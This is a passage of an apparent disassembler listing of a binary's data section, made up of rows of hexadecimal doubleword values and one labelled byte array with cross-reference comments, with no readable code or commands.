		dd 144B7D1Eh, 2457A880h, 0B03F49BCh, 1963D1Bh, 0D56D2200h
		dd 9122186h, 64C39102h,	0E05833FAh, 0A071CEh, 0DDB3BF2h
		dd 357CDB8h, 13F45507h,	80B9F93Dh, 946A3FF6h, 44CA00D4h
		dd 2B724C7Dh, 0D8000F64h, 81CB525Ah, 1CFB405h, 0AD70D43Ah
		dd 0F8A66A4Ah, 0BC01A3CCh, 379D5EBDh, 0B1C85BE5h, 0C6081265h
		dd 0EB2700B7h, 0CC342C15h, 0C05DB802h, 8021242Dh, 0EAF1B6B4h
		dd 89AE008Eh, 94D8CB18h, 7501B327h, 0C729A588h,	80D81B01h
		dd 237B002Ah, 2F6CC8B8h, 9A00E039h, 32344A9Ch, 0E5884h
		dd 8BC3A645h, 3A9FD412h, 0E2E42B30h, 0B3F1E8h, 0FE79A9ACh
		dd 66D7B1E9h, 52188A00h, 89DE3A64h, 86F10323h, 0ED89DE3h
		dd 0D987D3D0h, 95702F00h, 77D55568h, 57F7180Ah,	633B2AC3h
		dd 0DE482E00h, 995CA917h, 6FF0A0A0h, 0C2270001h, 1C4DD77Eh
		dd 6600C6E6h, 7361EBC8h, 192BBF9h, 9BDFF472h, 0C4E09AD8h
		dd 871E4837h, 47826A0Bh, 80677A1Ch, 0D03203F4h,	0F04050A5h
		dd 0C5540F52h, 0F3000483h, 3BA458F4h, 4EE4FD04h, 64801CEAh
		dd 1F2D763h, 140860ACh,	0C49DE6D1h, 0BA001F7Ch,	68814D87h
		dd 2B4C75h, 2413063Eh, 0B290BC47h, 8190F7EAh, 88CB4F00h
		dd 0BF4B699Ch, 0B33F0E25h, 9443EAB5h, 83D0E189h, 0B2001D6Bh
		dd 2BC76182h, 0F8131Fh,	7CC20230h, 35AA9E6h, 291DEE00h
		dd 0B6833458h, 549501BBh, 0BC424344h, 0D5E3FCD9h, 0D7023A05h
		dd 8E074A10h, 44406E9Ah, 37E172h, 2C49BF14h, 20423FE6h
		dd 0DF925C1Eh, 0E5AA4580h
		dd 50EEBEh, 0B33C1D4Bh,	54AC0576h, 961F6F00h, 0A0FBD2Ah
		dd 249C004Fh, 13A64C1Ah, 0AEF822FEh, 2350911Eh,	15F30FC0h
		dd 0E4DE2AC0h, 42290B2Fh, 0D580FF37h, 0D2FD59EBh, 2407AF07h
		dd 0FC11B810h, 7B6074C8h, 0AEC100B3h, 317E53C4h, 34007CF7h
		dd 8A2ABC08h, 0A25B38h,	0A08058B8h, 0F75D29CCh,	41E2A90Eh
		dd 0E0EF6059h, 5E4CAAh,	0FE21B647h, 7BFFA3EDh, 9511C600h
		dd 0A4DC1ACEh, 73CD00CFh, 0F1AB48C0h, 9007E7Fh,	4310FF93h
		dd 1DC7E552h, 40E2BA2Eh, 0F85F30B2h, 1D7C39C0h,	2DB83803h
		dd 12C3BCh, 4FF23F80h, 0E31E308Dh, 58B2AA30h, 132F616h
		dd 92D121D7h, 0DC9E7EFFh, 8A3E4488h, 0B20D9CECh, 0B0594072h
		dd 0F5C3960h, 1F9A0331h, 77F17560h, 524CCEFBh, 60B007FEh
		dd 0F5067AAh, 0D8A685h,	0CD789F0Dh, 0DE73C031h,	0B1DCE600h
		dd 4DC1D1AAh, 94180FE1h, 76207D68h, 0C3EB8340h,	6074D800h
		dd 59A82870h, 0CCD400E5h, 40CEEE7Eh, 600127Dh, 0DD306F5Eh
		dd 366695Ch, 43E51D67h,	2E98EF0Bh, 4970F35Fh, 0E11CED04h
		dd 648041CFh, 318F28Ah,	0F52BA331h, 0F6F8F4E5h,	30005D49h
		dd 0DFBB8806h, 2CA15EF3h, 0B80FE2h, 3E35F62Eh, 4100D1F4h
		dd 0E5D2033Bh, 99F5344h, 0D3ECEEC1h, 0F25B1400h, 0C303B62Ah
		dd 0EBC692A7h, 80CBB031h, 2B8B0198h, 631C455Bh,	12CC205Fh
		dd 35F30D09h, 0D02C30B6h, 221102DDh, 96F51CCDh,	5F28D2C0h
		dd 8ADAB23Eh, 0E8C86589h, 4EC40A10h, 0D52A00E8h, 405DEC8Fh
		dd 8A00D2FBh, 82398B5Ch, 94E78A1h, 0C89DA551h, 0F860EF00h
		dd 80EDEDB5h, 0AB2A250h, 1822365h, 98AC63DEh, 0C4A47BEBh
		dd 0E8A0DC61h, 226AF95h, 89832C19h, 88D2E54Eh, 6F1E3B5Bh
		dd 53A0D961h, 0E42759FDh, 3C673000h, 0D334564h,	0A31098F9h
		dd 591C093h, 9B50003Bh,	0DCDD4F84h, 0C3009EA1h,	6E25EB4Ch
		dd 0FF425Ch, 4B2F73D1h,	0E326057Bh, 0F049C403h,	0BD66B81Ch
		dd 0EA4AFF80h, 0FB5700ECh, 5137ABF5h, 730027D5h, 0E9B341BCh
		dd 0F7E1A6h, 0DF87073Bh, 9681DDC8h, 0A4C09A00h,	74563165h
		dd 5A9F00C7h, 7DDC1248h, 66012479h, 6A706993h, 5FC1177h
		dd 8C0D0134h, 3F33782Ch, 705AC4EEh, 0F0F0C42Dh,	0BAB5005Ah
		dd 8AE5A585h, 611D40BDh, 96401E04h, 77DF2BFBh, 0E33F0716h
		dd 27829075h, 2041FF6Ch, 0CC9C42F9h, 400FDCC3h,	6F618C1Ch
		dd 704D80F7h, 0D5C3F63h, 4AEA3DB4h, 167CECA8h, 495EF030h
		dd 0EDCEABh, 7F3115FDh,	0F40D2178h, 248AB03Ch, 0EF006118h
		dd 55091F86h, 0C0D4E666h, 7BBD840Eh, 4B00ED27h,	0C6DBE7CCh
		dd 3DAE9F10h, 0DF80F5ABh, 57542BBh, 98014EEEh, 78648D5h
		dd 0CDECFE8Ch, 7EE70303h, 7D386B96h, 0CB7F9805h, 0DEC0902Bh
		dd 7ADE7B49h, 0E0560092h, 119CED16h, 330F84D8h,	40C26968h
		dd 6BDE3764h, 2D540098h, 9FC6C014h, 8C0E784Ah, 0A0F41266h
		dd 385A60FEh, 0D80E39A1h, 906CBD80h, 0F4ECD2F7h, 7D2B8600h
		dd 15B999Fh, 1FE9F875h,	405FC16Fh, 9EE21727h, 9A006054h
		dd 0DBA90857h, 60B57E96h, 6CC6B076h, 26023256h,	0F8EB099Dh
		dd 89A880E3h, 3C8BD25h,	21231B7h, 0FBB03AB9h, 1107BCB6h
		dd 2A5213BBh, 9F74CF0h,	0E11E0E0Ch, 1660EE24h, 0CB6F77CAh
		dd 71490400h, 0C3C4F72Bh, 0B86800C8h, 3C8E6461h, 8003579Eh
		dd 0F0E0DD5h, 42E0AF05h, 0DA2A73h, 46339D5Dh, 0EFA1EB80h
		dd 179B7A00h, 3B9F29BEh, 883F004Ch, 0C32DBD38h,	0B100A94Fh
		dd 0DB26C5FFh, 8879Ah, 365260E2h, 1AF6BB31h, 727E400Eh
		dd 5348A0C6h, 7814968h,	2761629Ch, 9189D013h, 0B3160E43h
		dd 4A00EA95h, 2A6B875Eh, 0B8FE07B9h, 907E4Bh, 2772A8C4h
		dd 0C2E19C06h, 0A853D0h, 41860674h, 0BCE5EDA2h,	0B2DC7B12h
		dd 9AC0445Ch, 0C6A9A845h, 0D34C0006h, 0EB6A7FDh, 77034943h
		dd 54B01AFCh, 8D310768h, 4A17A2h, 8822677Dh, 0C9B55500h
		dd 68BD339Fh, 49AE00AAh, 0BC9448FEh, 0C324F660h, 506630Dh
		dd 318FDB6h, 11746A7Eh,	1D814782h, 6E5AC0CFh, 38602F00h
		dd 9D048DF0h, 56690946h, 5A01495Ch, 0C8D23A9Bh,	0D5002654h
		dd 3D82259Ch, 2AC359Dh,	17424FA9h, 88601119h, 6200ED8Bh
		dd 57F37DBh, 0CD8FCAh, 68103389h, 1406D32Eh, 0FFC7CB05h
		dd 47C04264h, 989F194Ch, 7230E3F0h, 0E5FA3C90h,	0F1CD00FCh
		dd 6B472CEFh, 1B7BEEFDh, 0B3E16300h, 6A14D534h,	7D8FAADh
		dd 7DA2DECDh, 0BA9880A9h, 7100D64Dh, 0B99E8D3Bh, 4CF446h
		dd 0D5D00F94h, 0C5D84402h, 47CAF01h, 15291F35h,	29DF6E0h
		dd 216605D1h, 0F96361DFh, 76C4B290h, 9F434D0Bh,	5AAB80A6h
		dd 7AFA5EBh, 74BB1210h,	113C900Eh, 0EC2690E2h, 13009427h
		dd 30521B45h, 7EAD00EBh, 69B2FB0Ah, 8639A61Eh, 67BDBDh
		dd 0A1081DC5h, 482DB524h, 37009CB2h, 0E8384790h, 283B338Dh
		dd 96021C58h, 6FF6F7BEh, 8388B70Fh, 8F31E07Ch, 4AA2557h
		dd 26866A99h, 0B898D103h, 30C3F9CBh, 3A77D30Ch,	7F724A00h
		dd 9E9568AAh, 0ACCA1DFBh, 0B518C340h, 0FDC0F9F1h, 6C003A41h
		dd 0C91EA9D1h, 58807223h, 0F2740F59h, 860E00D7h, 93942D82h
		dd 0C81F02D0h, 14665B83h, 981D3300h, 804E71h, 323987CBh
		dd 7C685069h, 44F02600h, 71A847E0h, 0F6AC0091h,	7F7D43A2h
		dd 0B70CE8B5h, 48792552h, 3C6E4868h, 882708C0h,	9000F71Dh
		dd 96BFAAE7h, 0FAC81160h, 0C1CC008Bh, 73922C38h, 6F26B12Dh
		dd 0FA0930C9h, 5FD40086h, 33B9A9h, 0B2A5BC69h, 9D910E7Ah
		dd 2467AC00h, 2FB5E852h, 95961361h, 0A2D0402Bh,	0ECD02EB0h
		dd 71994303h, 0F68A4F1Fh, 13A9E058h, 0C5E6F4h, 0BF6930C5h
		dd 0A000F1A4h, 85945963h, 61248FC2h, 9BFF404Ah,	0D62ACC88h
		dd 409F7F00h, 0EA5F6B28h, 8010DED7h, 8347673Fh,	0A37F70ABh
		dd 5E03F3B8h, 2F3B6EEEh, 1E2AF85Dh, 0B0C2500Ch,	0B0DC1621h
		dd 0C54441B4h, 60BFC0D9h, 812C8098h, 4E0076D2h,	310E0425h
		dd 0FD020936h, 0C40059ACh, 0C5039168h, 0BDEF5509h, 0AA488798h
		dd 71BA7C40h, 242807A7h, 53BC66A4h, 9F103E6h, 0F49CF0E2h
		dd 0CB104100h, 75053653h, 0FFF81D94h, 0EFC801F5h, 0F870C166h
		dd 1516136Dh, 4800A3D0h, 36843EEAh, 9F690592h, 461CCF9Dh
		dd 0C84086BCh, 0F2E97400h, 0DF6EF999h, 8AAE26F6h, 0FE65012Ch
		dd 0DC43B459h, 3C0030CEh, 0C6FB4431h, 66BD4Fh, 9E32E00Dh
		dd 3E883D08h, 18990C03h, 0A852E472h, 0E07DE343h, 0A6700005h
		dd 0D54625C7h, 0A500D0CFh, 276DFBD7h, 0EBC4C18h, 4051848Dh
		dd 0DC0FB920h, 0B105498Ah, 3BBD94E7h, 0A904FEE8h, 8121D56Fh
		dd 700D7BE8h, 0B3007829h, 431086EEh, 0B00652A1h, 0E76528FCh
		dd 5CD00ACh, 0FD7CEC60h, 28071BE5h, 3FB82FA3h, 4B5540B0h
		dd 3076D0h, 2BDA5FAAh, 1BE7E827h, 81838F0Eh, 8499C7CEh
		dd 9F6A3880h, 0B89E2424h, 0B14D0273h, 0BCC19263h, 4E91F020h
		dd 24E9762Eh, 0A0485F8Bh, 0B356B404h, 71BF0043h, 3E1DBB13h
		dd 0E2033158h, 0ABEF6CCAh, 0D75EB8D0h, 9E3B0045h, 4911F60Eh
		dd 0F807F766h, 4E203995h, 2D51D160h, 77F20065h,	9EBD12C2h
		dd 49006097h, 6809A70Fh, 5CD1F445h, 11385F16h, 48F71BAh
		dd 5000E2E7h, 24547446h, 0A7DB6B00h, 177A917Ch,	0FDE472h
		dd 8A11AF25h, 0F479199Eh, 0D5003FECh, 0CD90FED4h, 0EA8F7DF5h
		dd 0E2D11EAEh, 0D6AD9F65h, 2605EE2Fh, 0DD005D5Ch, 2920AC93h
		dd 0A64007Eh, 8797D581h
		dd 430E701h, 8378E01Fh,	5B2300F1h, 614D4729h, 75E45339h
		dd 8D69E400h, 96C4A5D4h, 4AC60076h, 5CEBDE73h, 0F57AD061h
		dd 0A64D9700h, 1643836Ch, 0F9D307CCh, 8037E63Fh, 2A58592Dh
		dd 0F7E47F07h, 49205735h, 0A9F36Eh, 1D92E30Eh, 5A0DCA42h
		dd 0E83EC30Eh, 0BFB24045h, 62F62Ah, 8A0BA8D0h, 0FBD6B825h
		dd 1DD49C00h, 203ADA5Ah, 2E190E59h, 2A0EFD97h, 5F5D07C0h
		dd 25000464h, 0F23BD8E8h, 68BB52h, 0A88D6ADBh, 8848E663h
		dd 37B51900h, 403B54A7h, 0AB8A072Ch, 0A06F8171h, 0DA7BF6DDh
		dd 75E7AE00h, 4D67E1F7h, 0FC8E009Fh, 0DBDDC25Ch, 0D0007713h
		dd 7F6317C1h, 3AE36C4Eh, 47804A3Dh, 0EB22B333h,	0AF00BCAEh
		dd 0F78543Fh, 97AF88Fh,	0C9166191h, 9A29BB80h, 0AE00E703h
		dd 5342FE26h, 3DC4F48h,	0C798D975h, 50C8E3B3h, 9600C087h
		dd 8B817BC1h, 0FEBEEF1h, 3A06F3B6h, 82549440h, 9DFDE327h
		dd 2D433C0Eh, 80C7D25Eh, 0D6EB67h, 0EFABE154h, 0B82B1BAAh
		dd 156F510Ch, 9739953h,	2A7FC0E5h, 6D8C8080h, 7D00AEE6h
		dd 4294321h, 0E4DBA2h, 1B225EC6h, 886CA9D7h, 8410C407h
		dd 0FC50454Ch, 4F95FBh,	5EB33F22h, 0B6C7DF94h, 37C9E300h
		dd 21E65FA9h, 6E8300EEh, 241E8FAEh, 480FA2E0h, 404082B7h
		dd 0D703DF9Dh, 0A05A00F6h, 0D39E667Ah, 38019FEDh, 9C8AD8Ah
		dd 188F8F92h, 75E007F0h, 0F86F630Bh, 0DAEB3B07h, 3670E7C3h
		dd 0F97D52h, 4FDCAAF4h,	9AFC0924h, 0F669AF14h, 0A00070C0h
		dd 527068F0h, 3E325692h, 4300D431h, 958959A6h, 2800876Ah
		dd 0F55A6C7Bh, 2A3EF7Eh, 732A37AEh, 0FE605CA2h,	0D500E312h
		dd 0B8E10616h, 0B6834F20h, 1BBF047Ah, 0A7180BAh, 0F82E8CEAh
		dd 7F0130CAh, 5066FC37h, 792647F4h, 939A0090h, 0B0551CE5h
		dd 7A1CCDEDh, 0FD40B9E2h, 850E016Eh, 46F4C39Dh,	62F0C179h
		dd 0CB1D82D2h, 0EF009EE9h, 0DA508CA9h, 68F700E1h, 0E018B77Bh
		dd 0A500C6D3h, 0B2D23F8Bh, 0B0ECA1h, 0D4A42304h, 80F54103h
		dd 8EE53700h, 0D0E8335h, 490098AAh, 3609D017h, 0C8E3450h
		dd 0FD0C7660h, 22E09328h, 0C59CA800h, 0A5C8F2CCh, 0F3F6ECh
		dd 5B48885h, 3327AD65h,	604AF800h, 2C8E5D53h, 14C12E5Ch
		dd 32500071h, 0B8A481B2h, 57CCF000h, 0DE104295h, 2E7B00A5h
		dd 64B58EE8h, 0B100C5EAh, 63531D7Ch, 66712Dh, 3C961EB0h
		dd 5058B9A3h, 12851A00h, 0DDD39F9Dh, 0D41B4DAEh, 20BB6479h
		dd 284A0CCAh, 9897E809h, 34D330C9h, 257F5428h, 389CD900h
		dd 3BC4A41Dh, 78BA0084h, 52EC204Eh, 0DF909DABh,	0AF00037Ch
		dd 489CEA3Dh, 6E65A373h, 0A9C37854h, 28E31E22h,	1840B5E3h
		dd 0A56C3198h, 5436E950h, 6332A425h, 0D4D9215Ah, 8AA7830h
		dd 28B3A42Eh, 0E6205EA2h, 0D11C6013h, 3B3A8DB1h, 0F8CE7D2Dh
		dd 82C91D4Ah, 0CA52C05Bh, 93343872h, 7E94D800h,	39E3D420h
		dd 3E6F0C3h, 0CB31322h,	59014AB9h, 692DEF73h, 0AE01524h
		dd 5B2B0007h, 0C70A877h, 7B0CDCCDh, 3159C6EEh, 37600326h
		dd 7653CA8Eh, 1818F78Bh, 0DE215739h, 2BCF031Eh,	0A607EB6h
		dd 33C8D8A8h, 5AE0410Fh, 269C8036h, 2524743h, 810D5965h
		dd 3080B9C9h, 0CB747099h, 0C838DB00h, 6B30D12Bh, 32613DEAh
		dd 9D9E13h, 520A0720h, 7EF6F075h, 0C0702A05h, 901F366Eh
		dd 0AEE8AC00h, 0AA6393Dh, 991F6760h, 52F80030h,	5513C873h
		dd 81E800Ch, 0D739AAh, 0F6C923B5h, 85012C51h, 4DB9E011h
		dd 0C0BDEB1Dh, 52C219A2h, 8FFE7AC8h, 2DD2AD00h,	82C19381h
		dd 0EC48FF7Dh, 0F2F90013h, 0C983A0E9h, 53001A40h, 0D9CBA110h
		dd 0FD47009h, 91200F28h, 39339EE6h, 90D8C8CEh, 0F46E300h
		db 0BCh
byte_520045	db 3Ch,	92h, 42h	; DATA XREF: ___:004380E8o
					; ___:00438100o
		dd 71C94A0Bh, 8226803Bh, 0FAB79049h, 8E6600BAh,	46FBA7A2h
		dd 0B003A1D6h, 0E30F5871h, 0BC080080h, 5F7DCA6Fh, 810139FEh
		dd 89CB039Eh, 1CFC9272h, 77E700A4h, 3C3291DAh, 2D004A7Bh
		dd 2A0536D6h, 60E66B5Eh, 0B45D4928h, 0C500C666h, 8FFE6339h
		dd 0EBE41Ah, 7DF65CC1h,	3C31BEF8h, 0B3AE03Ch, 87D53B23h
		dd 2DA2C570h, 0CC0EC03Dh, 9E0C0016h, 4F72AD64h,	0C600D98Ch
		dd 8FB69AA3h, 1F3B5B8h,	41046ED5h, 0D10A4389h, 0FF819437h
		dd 0C77E8088h, 9D32C2h,	0EF030687h, 69779884h, 6B8A3E00h
		dd 0A5F2B5AAh, 0B7640CB3h, 2D38E140h, 0BE97C100h, 3B02583Dh
		dd 0F04100FBh, 65D36323h, 0BD00EDBFh, 8BFEC7B1h, 71EDB47h
		dd 6AFC8AE4h, 0B53090F0h, 5D00A1C3h, 0ED2CD4F3h, 0BAF31F1h
		dd 14BE2498h, 8F00D5F0h, 1D2B4C7Fh, 0D9AD6Ch, 0EEC00BB9h
		dd 0F20F308Ch, 0E5EAB400h, 0EBE6FFDBh, 384E26ACh, 3F06001Ch
		dd 5E8EC0E2h, 90F26700h, 0A29EED30h, 0BF1D0049h, 0D26A88DDh
		dd 0CCF8462Fh, 0F1EE8E00h, 9D2D90BEh, 0E6CA00F2h, 0D40D1F9h
		dd 2F00C9C7h, 0C8D44D8Eh, 0F875CEh, 7E199084h, 0D2F05AB5h
		dd 0B93ED50Fh, 0E5A760CDh, 8759FEh, 37FD27F5h, 38A2AB89h
		dd 0D5A4D800h, 9AF92B08h, 181619ADh, 883285Ah, 0B4324463h
		dd 0FFC92C44h, 84AF5190h, 204A3A03h, 14B23D14h,	4D110B51h
		dd 100C3C42h, 0D7891797h, 90DA2109h, 4886F829h,	0B29879FBh
		dd 25283865h, 14243C0Ah, 518F590Ch, 8283889Fh, 0B2B76907h
		dd 6E80DB2Ch, 0E5D5FCh,	0F221A360h, 51B9A8BBh, 0E2016172h
		dd 7062F19Fh, 0A1608925h, 0D1C92ECBh, 4140008Bh, 0D6FA9F57h
		dd 42961024h, 0B1AE6F00h, 1FA10489h, 0C0BEF0BDh, 9E10C0A4h
		dd 5E00373Ch, 5F62E884h, 7575C16h, 0FD48674Dh, 85EB300Eh
		dd 0C800CA64h, 8A1986F3h, 0A94970h, 23088EE2h, 0EBC090C6h
		dd 0F6670D00h, 954730DEh, 55F93EFEh, 20B35F80h,	0F53498F2h
		dd 1419CF00h, 254E04A0h, 9C3F3E73h, 2B27D001h, 0E8158B2Ch
		dd 2A75B9F1h, 9F904A00h, 16CB49B8h, 0A52600BEh,	0BB0A2705h
		dd 0F9F43550h, 0EF0057F8h, 1E9AFDD6h, 1FC3289Bh, 0C0B2FC70h
		dd 0E6CBA0Bh, 4300B01Dh, 513CCC85h, 1CB7AF24h, 0C0DDC12Ah
		dd 0C9B288F7h, 0D36744FCh, 24A02D70h, 0F06CD9F0h, 0B5B35818h
		dd 1221A800h, 108B4404h, 0B698DA00h, 408034EEh,	247A0045h
		dd 3D7CC0ECh, 270017C7h, 0BE5B16DDh, 100CF6h, 4B858A1Dh
		dd 0F4A75FE4h, 0B4624C17h, 0B1312000h, 2CB6EEh,	813F6AC1h
		dd 0CFD3C703h, 0AD00F979h, 0A332045h, 7B527Fh, 4DB8C30Fh
		dd 1C06D9C2h, 23A19100h, 2F592415h, 1FC3B06Ch, 8074D78Ah
		dd 105002C6h, 0A800FE38h, 9751631Ah, 1D13E4Eh, 112C7B9Dh
		dd 0F4DD8144h, 40E1B7F4h, 85BAED80h, 0BCECE600h, 0AC5A405Bh
		dd 48E41F5Fh, 0A05140B3h, 0F078C3A2h, 126F6500h, 0D85F0F70h
		dd 8ED00D0h, 0D7E9BA9Fh, 0F607AD43h, 0A876B7F0h, 0D45F70C0h
		dd 53351E5Dh, 0F13000D8h, 190D8A2Fh, 0DF0023FAh, 7E7F7A81h
		dd 3C0FD154h, 0D3A90EAFh, 0A0500FCh, 299468BDh,	82CA5817h
		dd 7C1800Fh, 4E6134h, 6050A943h, 76951F2Ch, 0ECEB80EAh
		dd 6B0E9003h, 77E35400h, 75EDF7E5h, 945B072Ah, 5063D330h
		dd 4F5010FFh, 0E3139CECh, 4800B7C2h, 0FEB3AB9Fh, 2B2F0075h
		dd 4C73FAF7h, 8700274Ah, 0D506C96Bh, 2283E64h, 8D869FA1h
		dd 440464Dh, 0DC7398EDh, 0D95C2500h, 712E1799h,	22B4282Dh
		dd 4E9200D9h, 0F20AAF89h, 9D0B9955h, 288814h, 0ABB7364Eh
		dd 15120079h, 71F0392Fh, 0F5006EF3h, 0A9184F63h, 71624CCh
		dd 83B8FD03h, 0F186204Dh, 0DEB07F1Fh, 863E200h,	7A64E477h
		dd 73490AB2h, 0CE34B4h,	6A6CF3F4h, 0A01E2ACAh, 0C180792Dh
		dd 419FF9F1h, 1EF0581h,	7BBB9B6h, 0A0A6E980h, 77A828F2h
		dd 0DC510C2Ah, 0B7A18A24h, 0BE4C3D00h, 7D94BC4h, 0E3CC065Ah
		dd 41C9300Ah, 0B600B366h, 0A9F7C3FAh, 1203EFCAh, 274DC73h
		dd 815CC804h, 0D89D5223h, 4BF4A1h, 340EDD05h, 0D66A0FA3h
		dd 0E600D990h, 77CA9F6h, 912589h, 88A19761h, 85751020h
		dd 0EDD41700h, 0D8EF0ED5h, 0B6F50067h, 0DF25F7D7h, 0D2000318h
		dd 9A20191Ch, 158B922h,	4B4710A7h, 0EC0FF465h, 3302C138h
		dd 0A48C7BB6h, 50E08017h, 0B975AEh, 5619395h, 0BD2B7F7h
		dd 2B0F73E2h, 0CC3C7F62h, 2521D4h, 0C70A3417h, 52894D7Eh
		dd 0B3C6D70Fh, 1A923E3h, 0EB80AFDAh, 126AB71Eh,	78846EFh
		dd 10072F16h, 0BE69E511h, 791DF5F8h, 200C930h, 188BC387h
		dd 2F9509FBh, 54000477h, 512B4DCFh, 0A623781Dh,	58FA145h
		dd 28929300h, 3ECC74C6h, 340096D9h, 2EACF1F6h, 0DA009C69h
		dd 0FFBFCA7Fh, 6F9A6Eh,	6A80F7AAh, 9D812EDh, 784C7D24h
		dd 574B4D00h, 0A6CFE1h,	0B8017279h, 0C7BDBF3Dh,	8ADDAF03h
		dd 0FFC471D8h, 37967B30h, 654A002Ch, 35B8062Eh,	593BF536h
		dd 0F0E5804Dh, 93E8CA0Eh, 55D509FFh, 0A4AE8B7Fh, 0F65941E0h
		dd 0C0909611h, 3E1C467Dh, 0C3803876h, 30CC217Bh, 2EDB00C0h
		dd 1E5D0147h, 0EE00D9B4h, 3FC26080h, 0FAD30492h, 0AA23005Eh
		dd 0EA714519h, 7F00B8F5h, 5199C5FDh, 1EE05Ah, 9E14CE74h
		dd 0BED9964Fh, 69FE5204h, 0BAD301h, 31179C0Bh, 720B44E3h
		dd 24BD3780h, 5D30D838h, 0BB7B08C0h, 7999510Dh,	6AD0F89Ah
		dd 8A260B04h, 0CF01EBBFh, 8480659Fh, 356F3B11h,	0D9C2E8C3h
		dd 49DCAC14h, 81CD00B6h, 77D5C332h, 0D473688Eh,	5C2592FEh
		dd 906B40F3h, 0ADA700E0h, 0BDF5DC0Fh, 31F723Fh,	2A00F794h
		dd 2660B4F6h, 0EC6E00A6h, 3215140Bh, 0B600C7FCh, 5C2BAFDAh
		dd 757F3DCh, 0E1C32919h, 823F305Eh, 1D3D11EBh, 6C00F98Eh
		dd 0F8092B34h, 0D8C4C0h, 4F26EF20h, 63A5A84Ah, 8C0F8078h
		dd 326FE9AEh, 9CF1A040h, 6AC4C1h, 72D7B978h, 2EF3B1Eh
		dd 0FE9270F1h, 0BB344400h, 0D42A0E2h, 665097CCh, 0C487E700h
		dd 0C809B458h, 986B39EEh, 0EAA63F81h, 0E84A6C20h, 6FE29DE1h
		dd 78F85259h, 0BC636000h, 0ACC55EE2h, 0E96E00F5h, 0A6A9511Bh
		dd 7C003E19h, 0A1F95FDDh, 126B58C7h, 0E9F648h, 4AF844E5h
		dd 0D00A522h, 4E3C50DAh, 9091877Eh, 0EBE644h, 0E694AD0h
		dd 2B6CA760h, 8600E4E4h, 9AA23A6Bh, 0E4E13ECh, 0D6BA02B5h
		dd 7D97C05Dh, 0F2A6C7E2h, 35E63Bh, 0C48FF5EBh, 5BD4BBh
		dd 0A20902D6h, 6AE357BEh, 0E92F7A00h, 3F79CEF6h, 0B0D04CB7h
		dd 909D9100h, 0E3C13DB9h, 0A11DD8D3h, 0E2B89505h, 0E5DD0AC0h
		dd 60400384h, 8143ACCEh, 91BB4DB8h, 90481479h, 0EA2F0078h
		dd 0A41D4119h, 4FF00003h, 8297FD08h, 41F0F35h, 6100DC85h
		dd 0ABC40E23h, 7BF407CEh, 20DB78A9h, 0BEFF7D02h, 1BB49202h
		dd 605A432Ch, 1F25F0C8h, 42BF5999h, 66AF7E22h, 2D93E460h
		dd 508394ABh, 6AB5B4D0h, 8C4F8D05h, 4088FCB2h, 0E38207FEh
		dd 30B9FA9Bh, 0EFDD8D59h, 0E1B88816h, 0AA42E030h, 0AD9E0071h
		dd 5E640C9Fh, 0E80EAB03h, 47EAC43Ah, 6DE07426h,	570475h
		dd 8CFA803Bh, 9344A8C7h, 95D7DE26h, 0D80A8039h,	4F58EDE6h
		dd 9F220081h, 0A9F8331Dh, 209048B2h, 4382411Eh,	0A58001F9h
		dd 0C90ED40Ch, 6AF60C2h, 1A9D17FAh, 39900BDh, 254BF8A7h
		dd 0A109D616h, 0AB1C0200h, 3BAE0583h, 2980B3BBh, 0E44A61DEh
		dd 0CB1C71D5h, 0A1C0AAADh, 0D6FC80D9h, 0EA7900C7h, 72D244A5h
		dd 4701CD62h, 40698295h
		dd 8EF18BA1h, 3ADC3571h, 836A14E0h, 0FB0A84A9h,	0F98015Ah
		dd 7645F02Bh, 9708063h,	0EBE4BC83h, 12C4B558h, 5822493Fh
		dd 0D71AC01Ch, 54B047h,	6E94ED3Eh, 8ACABB62h, 0F04FAB00h
		dd 0CC8CDC0Ah, 0C4C90CC3h, 0D0AA9290h, 3CFBE33Ch, 44D8E46Bh
		dd 0E92E2BC0h, 1AB80139h, 12C347FCh, 431CD90Ch,	99980599h
		dd 25008D1Fh, 570BD5DEh, 0E39F27h, 0C2CE19F0h, 4B9793A0h
		dd 0C9A96000h, 2E96F41Fh, 0A85F3FF6h, 14F96D80h, 7DEAD43Fh
		dd 5E1A700h, 18207C32h,	10F84890h, 117A1507h, 0EA04002Eh
		dd 94000660h, 7BD89C57h, 5E56948h, 0D9683B80h, 907A87B9h
		dd 63AC5C2Ah, 0B34D1800h, 6F483992h, 0A3FAD5h, 121FCEB8h
		dd 5E2DF296h, 89B72500h, 0A27CDB04h, 2FB00E4h, 5690465Ah
		dd 0B2027FD9h, 863A77CAh, 81C4871Eh, 0B885BA10h, 645B2E2Dh
		dd 0FA1C8038h, 0DB363ACEh, 9DFB7D09h, 8ED480E0h, 1D7FADh
		dd 12C9E521h, 0E5DA25Bh, 94524B01h, 0DED8BB4Fh,	0CED7CD40h
		dd 0C66A0048h, 8D616B4Eh, 47010DA8h, 86D91FDCh,	0F8D7CDB8h
		dd 22D420h, 7BFA2A89h, 0DFFE2598h, 0D9822C00h, 0DD11396Dh
		dd 5CD50091h, 32EB131Ah, 26482974h, 5DFA0012h, 472A1109h
		dd 10225CD8h, 8FB36501h, 409D373Ah, 0B86C1C3h, 0BF197000h
		dd 8C30C839h, 330EB5ECh, 1B385480h, 0AA7112CCh,	0EC82A00h
		dd 5198594Ch, 85D4506Bh, 0A1A426E9h, 158803D7h,	62E19029h
		dd 259C2C02h, 0F4C584Eh, 5B77CDB7h, 0FBED00F6h,	6F765343h
		dd 7101FC00h, 0DC22703Fh, 0D7E7011Dh, 11A761F3h, 0D328D08Eh
		dd 0C430CE26h, 0B973E000h, 29169A9h, 0B6D995BCh, 607FB78Ch
		dd 1C2DD8DBh, 49031088h, 918020C8h, 1E9ED155h, 0DF348A00h
		dd 0CBA11BCCh, 0FC7A24A8h, 7F5E0058h, 14C18F9h,	9EF23202h
		dd 40EE0D76h, 6E5144h, 7845C22Eh, 482F5580h, 20B09800h
		dd 511E8A0Fh, 0BD7700F4h, 73800537h, 9500569Bh,	83249F98h
		dd 85D460h, 0B5043CDFh,	0B4EEC20h, 0F297160Eh, 796859h
		dd 0ED1FF51Ch, 0B500B32Ch, 8443BE7Ch, 672599h, 0F7C439E4h
		dd 91CAA4C3h, 0A7D2CD00h, 189F30F2h, 504F486Ch,	505D0E3Dh
		dd 41C02573h, 4ACAD401h, 3110346Ch, 0AE1B1300h,	1EBC2B3Ch
		dd 7E052E88h, 800F9D2Ch, 0B38D0CE7h, 0B648B7F3h, 8F23007Bh
		dd 0BC8966E1h, 0CE7651h, 18EF2A79h, 975E8186h, 2BA4BD26h
		dd 0E2193D04h, 0C8BCCC0h, 125B0032h, 4B524EF7h,	0DA00A763h
